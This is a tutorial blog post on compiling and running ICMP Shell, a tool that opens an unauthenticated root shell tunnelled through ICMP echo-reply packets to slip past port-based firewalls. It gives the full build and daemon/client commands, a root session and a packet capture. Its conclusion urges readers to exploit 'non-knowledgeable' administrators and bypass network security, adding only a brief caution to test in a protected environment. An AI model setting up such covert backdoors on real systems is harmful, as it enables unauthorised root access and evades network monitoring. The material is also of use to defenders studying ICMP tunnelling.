ICMP Shell - bypassing basic firewalls
Author - Nic Maurel

Introduction
I came across this little piece of software a while ago, and had forgotten about it. What it does is create a telnet like listening server on a linux box with no authentication communicating only with ICMP type 0 (REPLY) packets. If anything is it is a very good way of disguising communication between two servers. The thing that makes this tool so interesting is that Icmp shell takes advantage of raw sockets, so the communication can only be done using the root user on both machines. Icmp shell can be freely downloaded from http://icmpshell.sourceforge.net/

What you need
What you need is two linux boxes. One will be the server receiving communication and one will be the client sending communication.
Once you have downloaded the icmp shell file you will need to untar it and compile it.

Take note : I do this as the root user.
untar the contents

```
root@localhost:~/ish# tar -xvzf ish-v0.2.tar.gz
ISHELL-v0.2
ISHELL-v0.2/ishell.h
ISHELL-v0.2/ish.c
ISHELL-v0.2/ish_main.c
ISHELL-v0.2/ish_open.c
ISHELL-v0.2/ishd.c
ISHELL-v0.2/Makefile
ISHELL-v0.2/TODO
ISHELL-v0.2/ChangeLog
ISHELL-v0.2/README
root@localhost:~/ish#
```

Navigate to the directory and to compile you need to type make *version*. I type make linux as I am using ubuntu as my linux version.

```
root@localhost:~/ish# cd ISHELL-v0.2/
root@localhost:~/ish/ISHELL-v0.2# make
-------------------------------
Make with the OS from the list:

1.) linux
2.) bsd
3.) solaris

ex: make bsd
-------------------------------
root@localhost:~/ish/ISHELL-v0.2# make linux
```

Once compiled you should end up with two files a server dameon name ishd and client name ish.
You can display all options by typing :

```
root@localhost:~/ish/ISHELL-v0.2# ./ishd -h
ICMP Shell v0.2  (server)   -   by: Peter Kieltyka
usage: ./ishd [options]

options:
 -h          Display this screen
 -d          Run server in debug mode
 -i <id>        Set session id; range: 0-65535 (default: 1515)
 -t <type>        Set ICMP type (default: 0)
 -p <packetsize>  Set packet size (default: 512)

example:
./ishd -i 65535 -t 0 -p 1024

root@localhost:~/ish/ISHELL-v0.2#
```

I'm going to use the example command so I will type the following;

```
root@localhost:~/ish/ISHELL-v0.2#./ishd -i 65535 -t 0 -p 1024
```

The above command is fairly self explainatory from the help.

From the second remote machine I will do a client connect, obviously you will need to compile ISH here too, so you can use the client. But for this example I will use the same machine to connect.

```
root@localhost:~/ish/ISHELL-v0.2# ./ish -i 65535 -t 0 -p 1024 localhost

ICMP Shell v0.2  (client)   -   by: Peter Kieltyka
--------------------------------------------------


Connecting to localhost...done.

# uid=0(root) gid=0(root) groups=0(root)
ls
admin
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
pwd
/
```

You will see above that I have typed two commands after connecting, ls and pwd, and the shell responds with the correct output.
Note: the uid is 0 thus we are connected as the root user.

The packet dump indicates the traffic from the shell is all icmp packets.

```
root@localhost:~# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
```

```
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
12:42:43.954643 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 39
12:42:43.959231 IP localhost > localhost: ICMP echo reply, id 65535, seq 1024, length 75
12:42:53.515525 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 39
12:42:53.520901 IP localhost > localhost: ICMP echo reply, id 65535, seq 1280, length 161
12:43:00.867464 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 40
12:43:00.867705 IP localhost > localhost: ICMP echo reply, id 65535, seq 1536, length 38
```

Conclusion
Icmp shell is a good way to hide communication, but any knowledgeable linux administrator will notice the daemon process started on a server. But this should not stop you from trying to take advantage of non-knowledgeable linux administrators. Quite surprisingly speaking to a lot of people, they still use icmp to test connectivity of their servers, routers and firewalls. If you find the right network and are able to install icmpshell, you can bypass many security features in place to block certain ports. Always ensure you test this in a protected environment, I don't want anyone getting in trouble and as a final note I hope you have learnt something like I have.

http://icmpshell.sourceforge.net/